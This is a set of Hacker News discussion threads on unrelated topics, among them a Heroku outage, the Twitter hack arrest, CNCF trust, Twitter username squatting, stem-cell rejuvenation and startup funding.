} |
[Looking for feedback] Crossbrowsertesting.com adds mobile platform for testing - tonetheman
http://crossbrowsertesting.com/blog/cross-browser-testing-mobile-devices-now-available
======
tonetheman
We just added mobile browser testing this weekend. We wanted to let people
know and get some feedback. Main site is: <http://crossbrowsertesting.com>
Thanks!
| {
"pile_set_name": "HackerNews"
} |
Google open sources Liquid Galaxy code - abraham
http://google-opensource.blogspot.com/2010/09/galaxy-of-your-own.html
======
shaddi
I remember when I first visited Google a friend of mine who worked there very
excitedly showed this to me. I was terribly unimpressed because at the time I
was interning at the Jet Propulsion Lab and I had already seen their version
of this:
<http://lucyabramyan.com/Site/Stage.html>
One of my co-workers had built this awesome immersive environment using back-
projection, so you didn't have any of the frame boundaries like the Google
version did. It was particularly well-suited to viewing the panoramas sent
back from the Mars rovers.
~~~
gregable
At Virginia Tech, we did something similar with back projection called the
CAVE. It was a cube (4 sides at least) of back projections large enough that
you could walk into it. One of the sides was the floor, which was particularly
challenging to set up. All of the projections were also 3D using glasses that
used quick on/off flipping (better IMHO than the polarized things at movie
theaters) and the system had physical devices (we called them wands) that new
their 3d location inside the cube. Essentially, we had what seemed like a
first generation "holodeck" (trademarked term unfortunately). Someone
somewhere had even modified quake to work in this environment with the wands
controlling the location of your gun in 3d space. It was pretty interesting.
Of course, I'm not sure how practical something like this is, and it's very
expensive to build.
~~~
aikinai
Oh yeah, I'd totally forgotten about the CAVE! I got to go in there once to
play around. You forgot to mention another important part, which was that one
of the "wands" was actually a headset that would track the user and change the
perspective based on their head movements.
At least some applications worked that way. I'm not sure why, but the one I
tried had a teapot rendered over my head and I could see the snout sticking
out in front of my face wherever I went.
------
charlief
I've deleted my submission as it was a dupe. It was a link directly to the
source code page.
<http://code.google.com/p/liquid-galaxy/>
| {
"pile_set_name": "HackerNews"
} |
DNA origami - lelf
https://en.wikipedia.org/wiki/DNA_origami
======
iokevins
To save you a click, the definition:
"DNA origami is the nanoscale folding of DNA to create non-arbitrary two- and
three-dimensional shapes at the nanoscale. The specificity of the interactions
between complementary base pairs make DNA a useful construction material,
through design of its base sequences. DNA is a well-understood material that
is suitable for creating scaffolds that hold other molecules in place or to
create structures all on its own.
DNA origami was the cover story of Nature on March 16, 2006. Since then, DNA
origami has progressed past an art form and has found a number of applications
from drug delivery systems to uses as circuitry in plasmonic devices; however,
most applications remain in a concept or testing phase."
~~~
dekhn
... and they will continue to remain in concept or testing phase for the
foreseeable future. Which is unfortunate, but a reality of how drugs and drug
delivery systems are brought to market.
~~~
sndean
From the secondhand experience of my friends, using DNA nanocages to delivery
anything other than really simple cargo hasn't worked very well (all in
vitro). Which is good enough, if that's all you want to deliver.
They're really interesting though.
~~~
yorteiler
Why would the type of cargo matter? If it can deliver simple cargo, can't you
stick any type of molecules inside as long as they don't damage the cage?
~~~
akiselev
"Hold them in place" is a bit misleading. The molecules in most nanocages
generally still react with the nanocage through specifically designed binding
sites that actually hold it in place. This means a nanocage is hard to design
for nontrivial molecules like folded proteins and it's usually not a perfect
cage that completely envelops the target. A lot of stuff is still bound to
react with the nanocage and the material inside until it can reach its
destination and the cage unfolds.
| {
"pile_set_name": "HackerNews"
} |
How the FBI tracked down the Twitter hackers - ohjeez
https://www.zdnet.com/article/how-the-fbi-tracked-down-the-twitter-hackers/
======
uwuwuwu
Very alienating how they disclose names even before their guilt is proven in
court.
Also, I read they're considered adults because the crime was so serious. Come
on. Just send the BTC back and that's it. This shit is a proof-of-concept and
we should be thankful nobody started world war 3 on Twitter.
There's zero harm, just improved security at Twitter.
~~~
SahAssar
They willingly impersonated multiple people and tried to scam people based on
that. That is not zero harm. Are you really saying that someone that executes
a spearphishing attack on a company then uses that to take over accounts
within that companies services and then uses that to try to scam people should
just get a slap on the wrist?
There are at least two or three levels of this where any reasonable person
would have thought "This is getting really fucking criminal"
~~~
aeternum
This was likely a net benefit to US citizens. Much better that this kid
exposed these security holes. Imagine how bad it would be if a nation state
did this close to the election.
Spearphishing is a real problem and tech companies have no answer. An annual
employee training program isn't going to solve the problem. Simply making it
illegal isn't going to solve the problem.
~~~
SahAssar
> Much better that this kid exposed these security holes.
That's why we have responsible disclosure. It does not make it okay to exploit
security holes for profit.
> Spearphishing is a real problem and tech companies have no answer.
That does not make it okay to exploit it.
~~~
aeternum
>That's why we have responsible disclosure. It does not make it okay to
exploit security holes for profit.
I'm not aware of any bug-bounty or responsible disclosure method that allows
spear-phishing as the attack requires impersonation/fraud. Is there one?
~~~
SahAssar
Responsible disclosure does not equal bug bounty. Just because you found a
security hole does not mean you are entitled to a payout.
The responsible way to do this would be to prove the access to twitters
security team and not exploit it for personal gain. You can even just post it
publicly, just don't try to scam people and profit based on the exploit.
Do you think that just because there isn't a bug bounty for a specific exploit
that gives you a free pass to exploit it for personal gain?
------
opqpo
Those kids should get a prestigious cybersecurity job instead of going to
jail. They didn't harm anybody even though they had the power to do that.
~~~
Rebelgecko
Didn't they defraud people around the world of over $100,000? That seems like
harm to me
~~~
justSayin000001
If people were stupid enough to fall for that then I put the fault on them.
~~~
Rebelgecko
As a thought exercise, I'd encourage you to try and have more empathy for
those who are less capable.
I went through a somewhat similar experience with my grandparents. Although
the scam they fell for was a bit less obvious, it's a hard situation to go
through and realize that your loved ones have declined to such an extent
cognitively
~~~
justSayin000001
I am sorry! You are right! I automatically assumed everyone with
cryptocurrency understood the risks and benefits, but if this is to become
mainstream we need to educate people. I am sorry for making such assumptions
about people.
| {
"pile_set_name": "HackerNews"
} |
Biohacker: Meet the people 'hacking' their bodies - ColinWright
https://www.bbc.co.uk/news/technology-46442519
======
kaikai
Any biohacking article that fails to mentions transfolks is missing something
huge.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Thoughts on Earnest Capital - temp_small_cap
Earnest capital made a quite a buzz. But 1 y later, it's about 10 investments for a total amount of maybe $2m ?<p>Also, some investments are "tools.for bootstrapping" which they push in emails. Do I really need your special tool at $100/month to "transparently report monthly statistics to investors" ?<p>Getting any capital is not easy. Every new investor would be welcomed.<p>But this seems very under whelming to me.<p>Any thoughts ?
======
bentossell
My thoughts: Earnest invested in my company[1] in September 2019. Through the
lens of the company receiving the investment, this has been far from
underwhelming.
I've been able to hire a few folks to join the company, ship features faster,
increase revenue to new heights and are always there as my first point of call
as a solo-founder. It's a tough job but the support has been super helpful.
From other founders in the same position as me as well as from the mentor
network.
From the inside, the other founders are growing each month and bringing in
more and more revenue - so based on the way they invest it looks like
everything is going in the right direction.
I'd recommend it as a current Earnest-backed founder for sure. Happy for
others to reach out if they're considering it too.
[1] [https://www.makerpad.co/](https://www.makerpad.co/)
------
ob1gman
I'm trying to understand the OP's perspective... I've always thought of
Earnest Capital as an investment company that's differentiated by being
founder-friendly? Are you under a different perspective?
So it seems like if they only hit it off with X founders then they should only
invest in X companies/founders? They're putting the emphasis on living with
people as opposed to quick exits?
So it seems like @bentossel's review of them should mean a lot more than the
number of investments or the dollar amounts?
One problem that investors, revenue and profit can't always fix is working
with terrible people, btw.
------
adventurecap
13 investments in a year is incredible. Plus they'll create more value in $2M
than Vision Fund will in $108B.
| {
"pile_set_name": "HackerNews"
} |
Heroku down again :( - edouard1234567
Heroku has been down for 10 minutes, their status page https://status.heroku.com/ shows "no know issues at this time" ...<p>Their main site and my hosted website are down...<p>wget heorku.com
--2012-03-15 02:29:21-- http://heorku.com/
Resolving heorku.com... 64.27.57.29, 64.27.57.24
Connecting to heorku.com|64.27.57.29|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.heroku.com/ [following]
--2012-03-15 02:29:22-- http://www.heroku.com/
Resolving www.heroku.com... 50.16.215.20, 107.22.233.248, 50.16.215.67, ...
Connecting to www.heroku.com|50.16.215.20|:80... failed: Operation timed out.
Connecting to www.heroku.com|107.22.233.248|:80... failed: Operation timed out.
Connecting to www.heroku.com|50.16.215.67|:80... failed: Operation timed out.
Connecting to www.heroku.com|50.16.215.41|:80... failed: Operation timed out.
Retrying.<p>--2012-03-15 02:34:25-- (try: 2) http://www.heroku.com/
======
rdl
Actually, EC2. And the EC2 AWS portal says nothing.
Heroku is only another customer affected by the EC2 outage, this time.
~~~
edouard1234567
They just came back up.
------
edouard1234567
It looks like EC2 is down too. Is heroku hosted on EC2?
~~~
rdl
Entirely.
| {
"pile_set_name": "HackerNews"
} |
I have an idea for an iPad app...constructive criticism needed - sabertoothed
I have an idea for an iPad app and I am about to let a professional developer implement the idea.<p>But I am unsure if my idea is worth the amount of money I am going to spend on it. The developer thinks it's a great idea - but he's obviously likely to be biased.<p>Is there any professional developer out there who would be willing to provide some feedback on the idea?
- Is my idea worth fighting for? Do you think it's an app that you would use yourself?
- How much would you expect the implementation to cost?<p>Any help and constructive criticism would be much appreciated. Just let me know in the comments and I'll contact you if you're interested.<p>Cheers
-sabertoothed
(from Hamburg, Germany)
======
commanderkeen08
Please please please realize that it is highly unlikely that you will make any
money off of this app, no matter how great the idea is.
It could be the next Flipboard and be an app that I could end up using daily
and you still probably wouldn't make even on your investment.
~~~
sabertoothed
You are right. But I do have a good job and won't quit it in order to develop
the app. I won't risk much. A lot of money, yes, but nothing my happiness
depends on.
------
Rust
I'd be happy to give an opinion or two! russ at indyarmy dot com
------
arn
I'll give an opinion. See my profile for credentials and contact info.
~~~
sabertoothed
Thanks, Arn. I'll send you an email within the next few days.
| {
"pile_set_name": "HackerNews"
} |
A researcher’s new take on stem cells - dnetesn
http://nautil.us/issue/57/communities/does-aging-have-a-reset-button
======
wpasc
"Do the ethics of age reversal concern you?"
I dislike how that question is phrased, implying that the ethics of fighting
aging are inherently concerning. If you really think through the ethical
considerations of aging being a universal cause of death and the major
contributing factor to cancer, alzheimers, and any other age related disease,
the only "ethical" thing to do is fight against aging.
People never discuss the ethics of curing cancer because we have a clear moral
imperative to do so, but the second the question turns to aging the waters are
muddied. Questions about overpopulation, wealth concentration, etc. may arise,
but are all thoroughly rebutted. Aubrey De Grey's original Ted talk does a
great job of arguing against these concerns.
Maybe I am wrong. However, I think that ethical concerns over the fight
against aging are not rigorously thought through. It's as if we constantly ask
the question, "should we fight aging?" but when the answer is thoroughly
answered "Yes" society (and very much so the media) don't remember the answer
and its reasoning.
~~~
ASalazarMX
"A new scientific truth does not triumph by convincing its opponents and
making them see the light, but rather because its opponents eventually die,
and a new generation grows up that is familiar with it." \- Max Planck
Imagine stubborn, immortal scientific/economic/government/etc. leaders.
------
reasonattlm
If you are interested in perusing some of the past decade of science on this
topic, some links below. It is about equally devoted to looking at what
happens in induced pluripotency versus what happens during embryonic
development, induced pluripotent stem cells and embryonic stem cells being
basically the same thing.
Elimination of damaged proteins during differentiation of embryonic stem cells
[https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1472508/](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1472508/)
In Vivo Amelioration of Age-Associated Hallmarks by Partial Reprogramming
[https://doi.org/10.1016/j.cell.2016.11.052](https://doi.org/10.1016/j.cell.2016.11.052)
Mitochondrial Rejuvenation After Induced Pluripotency
[https://doi.org/10.1371/journal.pone.0014095](https://doi.org/10.1371/journal.pone.0014095)
Aging vs. rejuvenation: reprogramming to iPSCs does not turn back the clock
for somatic mitochondrial DNA mutations
[http://dx.doi.org/10.21037/sci.2016.08.09](http://dx.doi.org/10.21037/sci.2016.08.09)
A lysosomal switch triggers proteostasis renewal in the immortal C. elegans
germ lineage
[https://doi.org/10.1038/nature24620](https://doi.org/10.1038/nature24620)
Any Rejuvenation Relevance for Roundworm Reproduction?
[http://www.sens.org/research/research-blog/question-
month-16...](http://www.sens.org/research/research-blog/question-month-16-any-
rejuvenation-relevance-roundworm-reproduction)
------
sjcsjc
"Stem cells are the Gary Oldman of cell types."
Great analogy. I recall watching a film a few years ago with Gary Oldman in
it, and not realising until the credits that it was him. Can't remember which
one, unfortunately, probably because of my lack of stem cells.
EDIT: Might have been True Romance.
~~~
thedailymail
The weakness in this analogy is that the stem cell itself does not transform
into anything. What stem cells can do is, on division, 1) make a progeny cell
with a different cell fate (i.e., a different cell type) and 2) self-renew
(make another stem cell). Maybe you could say stem cells die in the process of
giving birth to fraternal twins, one of which is a clone of the parent.
------
dsign
Our culture and our biology have serious compatibility issues, and getting
worse by the day. I hope we can find our way out.
------
vistawaplord
Life would've been great if that is possible
| {
"pile_set_name": "HackerNews"
} |
Do Tasks Quickly and Imperfectly - kartickv
https://medium.com/@karti/do-tasks-quickly-and-imperfectly-747b20f74f67
======
evolve2k
This article exactly summarises where I go wrong. My inherent desire is to
think things through and do a good job the first time around. Recently I even
been following the advice of ship it, ship it.. but I can see quality in our
team suffering. How do I balance getting stuff out the door vs doing work we
are proud of/can stand by?
If being a quality craft person is not the right mental model what is a better
analogy?
~~~
kartickv
Author here. Thanks for weighing in.
Why don't you get stuff out, determine what needs to be improved (if any, as
opposed to starting a new task) and improve that?
If you put out a marketing video for your app, and it drives 1000 purchases of
your app, you should be proud of that. The video itself is irrelevant, so
don't judge it, or yourself by it.
I think the craftsman analogy is misleading because physical objects can't be
updated after selling. Maybe a better analogy is that of a chef, who doesn't
measure himself by how it turned out when he tried a new dish for the first
time. He measures himself by how it is after repeated iterations.
As Basecamp says, work should always be compared with what it was before, not
a theoretical ideal.
------
23andwalnut
I enjoyed this. A quick read and a message I needed to hear today. Thanks!
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Am I crazy to distrust the CNCF? - hardwaresofton
If you've got a tin foil hat close by this would be the time to put it on.<p>I've vaguely distrusted the CNCF for a long time now. While I like the majority of what they're doing (helping fund and manage open source projects), it's never sat right to me... Companies don't move out/donate large sums out of pure altruism, and the consistent and persistent (successful) branding attempts everywhere, really trying to burn the word "CNCF" and the marketing term "cloud native" into your mind, and sheer amount of projects they're funding/supporting in some way smacks of the VC-backed "high-growth" startup play that never pans out as well for customers as it does for VCs/early founders.<p>Up until now, I've vaguely thought their goal was only establishing themselves as the de-facto standard for "cloud computing", basically spreading massive good will now so they can reap the rewards later, and signalling themselves to big companies. However it just dawned on me that the actual goal might be subtly influencing free/open source products via their "graduation"/standardization process. Projects that deserve to "graduate" will essentially have to bend to "standards" set by the CNCF/Linux Foundation and resulting their top backers to them the most.
======
dankohn1
I presume any comments from me are unlikely to convince you that CNCF is a
trustworthy organization, but I would suggest that the 2018 CNCF Annual Report
is probably the best source of understanding what we do and why we do it.
[https://www.cncf.io/cncf-annual-report-2018/](https://www.cncf.io/cncf-
annual-report-2018/)
You're also welcome to email me and arrange a call.
Disclosure: I'm executive director of CNCF and responsible for that report.
~~~
hardwaresofton
Thanks for taking time out of your busy day to respond -- I don't mean this
offensively but that report is basically a PR document. The CNCF has done
amazing things, again I really am happy with what it does -- The CNCF doesn't
have to exist, and it helps so many projects (theoretically better than not
helping at all, assuming they wouldn't have received direct contributions
anyway, or would have squandered them).
What I was hoping for was input from people who work _with_ the CNCF --
projects that can speak honestly about how CNCF governance changed their
projects, both the good and the bad. When I generally see the CNCF mentioned
it's "we got adopted by the CNCF" then cheers, and that's about all anyone
says on it.
I think you could absolutely banish this opinion (definitely from me at least,
I am often wrong and must change my mind to accomodate, this would be no
different) by give some more of this "social proof" specifically from people
who are f/oss hackers dealing with the CNCF. If kernel hackers say the Linux
Foundation is legit/helps them and isn't overbearing, I believe them.
Even with all this, there's the possibility that the CNCF is trustworthy _now_
but loses it's way and starts losing it's way but open source projects that
grew dependent on it basically don't leave... But even typing that out it's
obvious there's nothing anyone could do to prevent that really, the
inevitability of politics, etc. Again, pretty tinfoil-y, which is why I'm
currently defaulting to distrust but am doubtful that I should be.
~~~
dankohn1
OK. Note regarding "how CNCF governance changed their projects" that CNCF
doesn't govern our hosted projects. Instead, to reach graduation, they're
required to create and follow a neutral governance process. However, each
project's is different.
[https://github.com/cncf/toc/blob/master/process/graduation_c...](https://github.com/cncf/toc/blob/master/process/graduation_criteria.adoc)
------
hardwaresofton
Some follow up thoughts (too long for initial post)
Even though the Linux Foundation is a non-profit, just like Mozilla (quite
possibly the software company I trust the most), Mozilla is also kind of well
known for being mismanaged -- what about a company that's basically _only_
doing management (and doesn't have products they must look after, per say).
It's not certain that the Linux Foundation has similar issues but Mozilla at
least has the need to turn a profit/install more browsers/make things that
people want as an incentive but the Linux Foundation just basically sells
itself. This is also kind of evident in the Linux Foundation's _extremely_
confusing hyperledger group of blockchain technologies -- this seems like the
kind of move that hype-driven VC backed companies make, not slow-and-steady
trustworthy ones.
What triggered this was watching a NATS[0] presentation where they mentioned
being taken in by the CNCF and adding multi-tenancy -- this seems like a
feature corporate users would ask for (which isn't inherently bad), and then
it occurred to me that what if this is the effect of having the CNCF be
involved was -- worrying more about "large scale" than just writing
bulletproof, featureful software.
This is kind of in line with the whole corporate co-opting of "open source"
(which often is confused with "free" software), and capitalistic runs on
developer mindshare via wosshing products (I think I just invented this term),
but that's even _more_ tinfoil-y.
It's clear that I'm being paranoid, but I'd love if someone could help with
some counter points to help me by maybe shining some light on what value
alignment/adoption by the CNCF is bringing them and whether they did (or
didn't) have to swallow any weird decisions because of it. Am I just totally
off the mark?
[0]:
[https://www.youtube.com/watch?v=K7yzUusMaUc](https://www.youtube.com/watch?v=K7yzUusMaUc)
| {
"pile_set_name": "HackerNews"
} |
Ensuring CSS Animations Run and Stop Gracefully - tommyjmarshall
https://www.viget.com/articles/ensuring-css-animations-run-and-stop-gracefully
======
tommyjmarshall
The author here, with a quick note: This NPM package is ideal for pre-loaders
with dynamically loaded content, lazy-loaded images, etc.
| {
"pile_set_name": "HackerNews"
} |
My manager says your buttons are too small (2012) - yeukhon
http://code.google.com/p/zaproxy/issues/detail?id=351
======
billybob255
Manager: "What have you been doing all afternoon?"
Underling: "Oh well I was in communication with the software company trying to
resolve the button issue you raised this morning. Good news though they're
adding it to the next release."
Manager: "Good job, way to take the initiative. Now let's talk about this TPS
report problem."
------
blowski
Interesting that I have almost the opposite experience.
My previous manager thought bigger buttons made the system look like it was
'designed for idiots', so smaller buttons made users feel clever and advanced.
| {
"pile_set_name": "HackerNews"
} |
Do Pivots Matter? - ibrahimcesar
http://steveblank.com/2014/01/14/whats-a-pivot/
======
URSpider94
Steve makes a good point, substantial change can come anywhere in your
business model, not just in the product.
| {
"pile_set_name": "HackerNews"
} |
Evan - Twitter needs a better policy on Usernames - sant0sk1
http://blog.stevepoland.com/evan-twitter-needs-a-better-policy-on-usernames/
======
geuis
So someone is complaining that they registered a bunch of names they thought
would be monetarily valuable at a later date, and is complaining when the
company that provides the service is disallowing him from doing it? Sorry, but
that just earns a big f*ck you from me. I have no sorrow for domain squatters,
and that extends to people who grabbed Facebook app names, Twitter names,
whatever. Twitter isn't like the DNS system. You are using a service being
provided at no charge. I'll grant that there are likely to be situations where
your personal Twitter account name conflicts with some big company. However,
on that level if you have a long history of actively using your Twitter
account as your own identity then the weight of evidence is on your side.
Twitter can tell the Big Bad Company "No, pick another name". But if you've
gone out and just registered 50 names, with no activity on them, only in the
hopes that you'll get companies to buy them from you later, go screw yourself.
~~~
rokhayakebe
First of, you could have skipped the insults. Apparently you do not know much
about Steve. I recommend you go read some of his 70+ ideas he posted almost 2
years back.
Secondly, he saw an opportunity when most people did not, so he should totally
benefit from it.
18 months ago, most people did not know about Twitter and they could not see
it being useful to anyone. Steve did. You should go back to his blog entries
at TechQuilaShots. He was sharing ideas on how businesses could take advantage
of Twitter. Only a few read his blog and a fewer followed his advices. So he
did it. Now they want to take that away from him. Not cool.
~~~
kragen
“Secondly, he saw an opportunity when most people did not, so he should
totally benefit from it.”
That happened to my wife a couple of months ago; she was trying to use her
laptop on the street to record a protest, and someone saw an opportunity where
most people did not, and ran off carrying her laptop. I bet he benefited from
that.
That someone “saw an opportunity when most people did not” doesn't really tell
you anything about whether exploiting that opportunity is moral or immoral.
~~~
jamiequint
So Twitter making money by getting the Celtics their @ name is more worthy
than letting a guy run fan information using that name? Sorry, but that
doesn't make any sense.
~~~
kragen
You fail at reading comprehension.
~~~
jamiequint
Feel free to actually say something constructive without being an asshole next
time.
Did the guy violate any rules? Not unless you go by a strict definition of
Twitter's TOS. Your original analogy makes no sense. The Celtics didn't have
the name stolen from them (they never owned it in the first place) and the guy
wasn't using it for a non-legitimate reason, so why should he not benefit from
the common knowledge of the association of "Celtics" with the Boston Celtics
basketball team?
~~~
kragen
I said, “That someone “saw an opportunity when most people did not” doesn't
really tell you anything about whether exploiting that opportunity is moral or
immoral.”. Your response was a complete non-sequitur, and furthermore it
appeared to attribute to me a position including material facts that are
probably false. In the comment to which I am replying, you have called me an
“asshole.”
I appreciate your expressed concern for the constructiveness of the
conversation. May I suggest that you try a different strategy if a
constructive conversation is what you seek? Putting words in the mouths of
other participants and name-calling may not be the most effective way to
engage in a constructive conversation.
I was just pointing out that rokhayakebe's syllogism, “Secondly, he saw an
opportunity when most people did not, so he should totally benefit from it,”
depends on an absurd unstated premise. Whether this blogger who we’re talking
about happens to be a robo-spamming scumbag or not isn’t really relevant to
that.
And that is why you fail at reading comprehension.
~~~
jamiequint
First, you asserted that it was wrong for Party B (your wife) to suffer
because Party A (a thief) took her laptop. It was unclear whether you were
only trying to point out that opportunism isn't always moral, or if you were
also making the allegation that what the OP had initially done in this case
was immoral. (which it is now clear you were not) I was simply comparing the
morality of Twitter in this case to the morality of the OP.
Second, the position I attributed to you was a natural extension of your
argument, if you don't qualify such a statement as part of a discussion I'm
going to assume you are applying your suggestion to the discussion as a whole.
In this case you brought up that opportunism is not always moral, which is
true, but you did not exclude the discussion at hand so I made the assumption
that you were implying that the OPs stance was immoral as well.
Third, please tell me how you expected "you fail at reading comprehension" to
lead to any sort of rational debate before you accuse me of the same. When you
say such things without qualification don't be surprised if you get called an
asshole, because under the circumstances its likely true.
~~~
kragen
You still fail at reading comprehension.
You were the one who complained about the discussion not being "constructive,"
not me. (In the _same sentence_ where you called me an "asshole".) I was just
pointing out that you weren't really behaving in a way that often leads to
constructive discussion. Consider it a tip. No charge! Feel free to call me an
"asshole" as often as you please, if that's what melts your butter. Or a
"motherfucker" or "dickhead" if you like. It really doesn't matter to me. But
it probably won't lead to constructive conversation!
I pretty much gave up hope of constructive discussion when you put words in my
mouth, totally failed to understand what I wrote, and accused Twitter of
taking a bribe. So I decided to make fun of you instead.
~~~
jamiequint
I guess you have the right to believe whatever lets you sleep well at night :)
------
Goronmon
I do find the examples he uses somewhat laughable. He lost the name "celtics"
for obvious reasons; it's tie to the Boston Celtics basketball team. But then
he starts fear mongering with stuff like...
_StockTwits just raised nearly $1 million — their business is based off
Twitter. Definitely one of their assumptions is that they’ll be keeping their
username ‘StockTwits’._
Yes because squatting on a name like 'celtics' is somehow similar to using a
unique username that ties to the user/company who also owns the domain name
that is the title of a service that they are providing?
Sorry, I just don't see the connection there. Just because the people at
Twitter decided your username had better uses doesn't mean that they are going
to arbitrarily start cutting off other usernames.
Of course, then he brings up the "...but others are doing it too!" argument as
if that tactic has ever worked in defending someone's viewpoint...well...ever.
I apologize if I'm coming off harsh, I just really don't see why this
situation is surprising or somehow wrong.
------
jamiequint
I don't understand why most people here are siding with Twitter. Their TOS
clearly say that they don't tolerate impersonation, but running a fan account
(or even simply holding a Twitter name and not using it) doesn't amount to
impersonation. Why should any company automatically be granted the right to
their username on any service? Of course Twitter reserves the right to do
whatever is best for their business, but stop glorifying Twitter for doing the
right thing, they have just as much of an interest in profit as this guy does.
Also, I find it very odd that a community of people who seem to mostly fall on
the libertarian/free market side economically have a big problem with domain
squatters, or people on Twitter attempting to take advantage of an imperfect
market. While I certainly did not like domain squatters when we were searching
for company names, I understand why they exist. The market for domain names is
not efficient because it values all names at the same price
(lsdjhaofiwjleijwa.com costs the same per year to register as google.com) of
course this is wrong. Where there is an imperfect market there is usually
money to be made, with domains you have domain squatters. The problem is
exacerbated by the fact that domains don't tend to lose value so the cost of
holding them is very minimal. Its a market, someone is going to make money off
of demand. To suppose that domains didn't have monetary value and then they
suddenly did when a squatter bought the domain is absurd. They always had
value, everyone was just paying below market rate before.
Don't like market pricing? Go back in time to Communist Russia.
~~~
GHFigs
I don't believe that you can honestly say that the author's valuation of
"celtics" over "bc_fan_news" or any other name does not come from the
potential for misidentification and association with the Boston Celtics brand.
It may not be the most thorough attempt at deception, but it is reasonable to
call that a form of impersonation.
From a "libertarian/free market" perspective, why the hell should I favor the
guy who made a stupid mistake in thinking that he owned something that he
didn't? Your tangent on domain squatters is irrelevant, given that the rules
of each system are completely different. Twitter usernames are not a free
market, and it is utterly stupid to have thought that they were.
~~~
jamiequint
I don't understand all the vitrol...
"guy who made a stupid mistake in thinking that he owned something that he
didn't"
The point is that the Celtics organization doesn't deserve special treatment.
Why is it "utterly stupid" to think that you could get some names (whether
related to an organization or not) that you could later sell? As long as you
don't think you are in violation of the TOS it seems pretty logical to me.
~~~
GHFigs
He was stupid for thinking he owned _the rights to a field in Twitter's
database_ , regardless of what it contained, or how long he held it.
~~~
boucher
Why aren't the celtics stupid for assuming they own that same right?
In fact, he's _not_ assuming he owns it. He's just pissed that his twitter
account was taken away for a pretty lame reason.
~~~
GHFigs
You don't get it. The Celtics don't own it either, and they'd be stupid to
think they did. Twitter does. However:
"We reserve the right to reclaim usernames on behalf of businesses or
individuals that hold legal claim or trademark on those usernames." --
<http://twitter.com/terms>
That gives them a pretty good reason to think it's OK to ask Twitter for the
name. Bear in mind that Twitter has this right whether it is in the TOS or
not, and that they likewise have the right to _not_ reclaim usernames on
behalf of trademark holders. If the situation had not been one where the user
was obviously using the name to reference the trademark, maybe they wouldn't
have.
And yes, he was making the assumption that he owned the names. How else can
you complain that you've been deprived of something valuable that it was your
right to have if you don't believe you own it?
------
GHFigs
In summary, he's saying they need a better policy (i.e. more clearly defined
rules), so that he can game the system better. Classic webcockery.
Sorry, chap, but the Terms of Service do not state that Twitter will guarantee
your business model, and you're an idiot for thinking that you "owned" the
name in the first place.
------
AndrewWarner
This issue isn't unique to Twitter. Anyone who's building a site today is
going to have these issues. We need some clever solutions here.
~~~
dsims
What if they allowed duplicate names? Navigating to twitter.com/username would
then display everyone with that name (like how Wikipedia handles it). The
chances that you are following more than one person with the same name is
pretty slim. If that does happen, then you pick which one gets your @ replies.
~~~
johns
I wouldn't want my competitors sharing a username with me.
~~~
kragen
Because you worry there wouldn't be a unique way to link to you, or because
you don't want your potential customers to know who thinks they're your
competitor, or because you're worried people would get confused?
------
imp
The user name bostonceltics is taken by someone that is doing the same thing
and using the Boston Celtics' logo for their icon. Seems like they would have
been a better candidate to bully into moving their user name.
<http://twitter.com/bostonceltics>
~~~
GHFigs
Why is that better? The author was using the logo for both the icon and the
background, and under the name "Boston Celtics News", and perhaps most
damningly, it wasn't a fan account by an actual human being, it was a fully
automated _bot_ account. One one _dozens_ he runs. Or did run, before most of
them were suspended.
See the list here, and see how many are still around:
[http://blog.stevepoland.com/first-twitter-bots-launched-
spor...](http://blog.stevepoland.com/first-twitter-bots-launched-sports-teams-
weather-stock-quotes/)
~~~
imp
True. I guess I meant from just the Celtic's standpoint. They would have more
of a right to get bostonceltics since that's probably their actual brand name.
As someone else pointed out, the term celtics refers to more than just a
basketball team.
------
subpixel
I disagree - I don’t think Twitter is going down a slippery slope. I think
they’re making a sincere attempt to make their service as authentic and as
useful as possible.
The subtext is that a Twitter username suggests identity (in fact that’s the
underlying magic of Twitter) and that the service on the whole becomes less
useful as identity becomes fractured.
It may well come to pass that they need to set up a more stringent system to
analyze conflicts (e.g. what if your last name and user name were knicks and
your twitter feed was not about basketball?).
------
johnrob
If you don't like the rules, then don't play in twitter's walled garden.
------
wmf
Creating a new namespace is bad, because you renew the same old disputes that
people have fought over in the old namespaces. Creating a new _flat_ namespace
is worse, because it intensifies the disputes.
DNS exists and at least it has a dispute resolution process; let's use it.
(see Laconica)
~~~
kragen
DNS's dispute resolution process is pretty badly broken, don't you think?
~~~
wmf
I think there is some hope for the UDRP. OTOH Twitter is completely
unregulated. Between corporatism and benevolent dictatorship, it's a tough
decision.
------
aditya
If you don't like what Twitter is doing, leave.
Twitter is a business, just like any other, ultimately, they own all the
usernames, you're just using them, if they see a better way to assign a
username, why would they not chose it? You're getting value out of the twitter
network, and twitter has every right to do what makes more sense to them. If
users don't like the decisions Twitter is making, they will leave and then
Twitter can feel sorry for screwing it up.
I don't know why people expect to use a free service like they are owed
something. If you were paying for your username, it would make sense, but
you're not, so shut up (tongue-in-cheek)!
~~~
zack
While on one hand you make a point, on the other hand, perhaps this article
can simply be considered community advice to Twitter: if Twitter wants to
protect the stability of its platform then perhaps it should consider more
explicitly stating its Terms of Service with respect to username ownership.
------
designtofly
I would advocate a system similar to that used in trademark infringement
cases.
From <http://cyber.law.harvard.edu/metaschool/fisher/domain/tm.htm>
If a party owns the rights to a particular trademark, that party can sue
subsequent parties for trademark infringement. 15 U.S.C. §§ 1114, 1125. The
standard is "likelihood of confusion." To be more specific, the use of a
trademark in connection with the sale of a good constitutes infringement if it
is likely to cause consumer confusion as to the source of those goods or as to
the sponsorship or approval of such goods. In deciding whether consumers are
likely to be confused, the courts will typically look to a number of factors,
including: (1) the strength of the mark; (2) the proximity of the goods; (3)
the similarity of the marks; (4) evidence of actual confusion; (5) the
similarity of marketing channels used; (6) the degree of caution exercised by
the typical purchaser; (7) the defendant's intent.
I would say that in this case, the OP's argument fails in just about all of
those factors listed above. The true trademark holder has exclusive rights to
market their product as they see fit.
------
jwr
So, is that a twitter name squatter whining?
| {
"pile_set_name": "HackerNews"
} |
What indie game all-stars think about the iPad - aresant
http://www.boingboing.net/2010/01/28/what-do-indie-gaming.html
======
aresant
My favorite part "the possibility here to do something pretty special, which
is finally getting to do what board games do - a big shared playspace that you
interact with in an intuitive way"
Can imagine some really fun chess / monopoly clones with graphics - anybody
ever play battle chess back in the day?
| {
"pile_set_name": "HackerNews"
} |
The startup squeeze - jasonlbaptiste
